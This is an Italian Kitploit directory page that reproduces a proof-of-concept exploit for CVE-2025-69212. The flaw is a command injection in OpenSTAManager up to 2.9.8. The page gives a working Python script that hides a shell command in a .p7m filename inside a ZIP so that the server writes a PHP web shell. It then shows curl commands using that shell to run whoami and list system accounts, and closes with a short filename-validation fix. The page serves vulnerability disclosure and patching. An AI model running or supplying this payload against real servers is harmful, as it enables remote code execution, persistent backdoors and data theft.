Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
OpenSTA-Exploit — Proof of Concept (PoC) della CVE-2025-69212 relativo all'elaborazione dei file P7M | Kitploit
Strumenti/GitHubGitHub/lolw0/opensta-exploit
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHublolw0/opensta-exploit

OpenSTA-Exploit

Proof of Concept (PoC) della CVE-2025-69212 relativo all'elaborazione dei file P7M

Vedi Repository
171 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

OpenSTA-Exploit

image

DatoDettaglio
CVE IDCVE-2025-69212
Punteggio vulnerabilitàcritico (9.4)
CWE78: Neutralizzazione impropria di elementi speciali usati in un comando di sistema operativo
Versioni interessateOpenSTAManager <= 2.9.8
Vettore di attaccocaricare un file ZIP contenente un file .p7m con un nome file malevolo
AutenticazioneRichiesta
Impattoeseguire comandi arbitrari di sistema sul server

Spiegazione dell'exploit

  1. Memorizza un comando shell nella variabile cmd (che crea un file chiamato SHELL.php contenente codice PHP in grado di eseguire comandi).
  2. Costruisce un nome file appositamente creato per nascondere il comando dalla variabile cmd e lo salva nella variabile malicious_file.
  3. Crea un nuovo file ZIP chiamato exploit.zip e lo apre in scrittura.
  4. Aggiunge un file allo ZIP. Il suo nome file è la variabile malicious_file.
  5. Il nome file malevolo viene iniettato nel comando exec().

PoC (Proof of Concept)

1. Creare il file zip da iniettare

import zipfile
import time

print("Creating zip file...")
time.sleep(1)

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_file = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_file, b"")

2. Eseguire il file e caricarlo

lolw0@sys:~/OpenSTA-Exploit$ python3 exploit.py
Creating zip file...
lolw0@sys:~/OpenSTA-Exploit$ ls
-rw-rw-r 2 lolw0 lolw0 281 Aug 10 22:36 exploit.zip
image

image

3. Risultato dell'exploit

L'analisi XML fallisce dopo l'esecuzione del comando

HTTP/1.1 500 Internal Server Error

"error":{
"type":"Exception",
"message":"Start tag expected, '<' not found\n",
"code":0,
"file":"\/var\/www\/html\/openstamanager\/src\/Util\/XML.php",
"line":51}

4. Verifica ed esecuzione di codice in remoto

lolw0@sys:~/OpenSTA-Exploit$ curl "http://localhost:8080/files/SHELL.php?c=whoami"

www-data

lolw0@sys:~/OpenSTA-Exploit$ curl -s --get \ --data-urlencode 'c=getent passwd | grep -E "/home|/bin/bash|/bin/sh"' \
'http://localhost:8080/files/SHELL.php'

root:x:0:0:root:/root:/bin/bash
xxxx:x:1001:1001:,,,:/home/xxxx:/usr/sbin/nologin
yyyy:x:1002:1002:,,,:/home/yyyy:/usr/sbin/nologin
zzzz:x:1003:1003:,,,:/home/zzzz:/usr/sbin/nologin



Porta a...

AttaccoDettaglio
Esecuzione di codice in remotoCompromissione completa del server con esecuzione di comandi
Esfiltrazione di datiAccesso a tutti i dati dell'applicazione e al database
Escalation dei privilegiPotenziale escalation se il server web viene eseguito con privilegi elevati o è vulnerabile
PersistenzaInstallare backdoor e mantenere l'accesso nel tempo
Movimento lateralePivot verso altri sistemi/utenti sulla rete

Correzione

**una correzione semplice consiste nel validare i nomi file prima dell'elaborazione (consentire solo caratteri alfanumerici, punti, trattini e underscore per saltare i nomi file non validi)

foreach ($files_xml as $xml) {
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; 
    }
    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

(oppure puoi semplicemente aggiornare lol)

Scarica lo strumento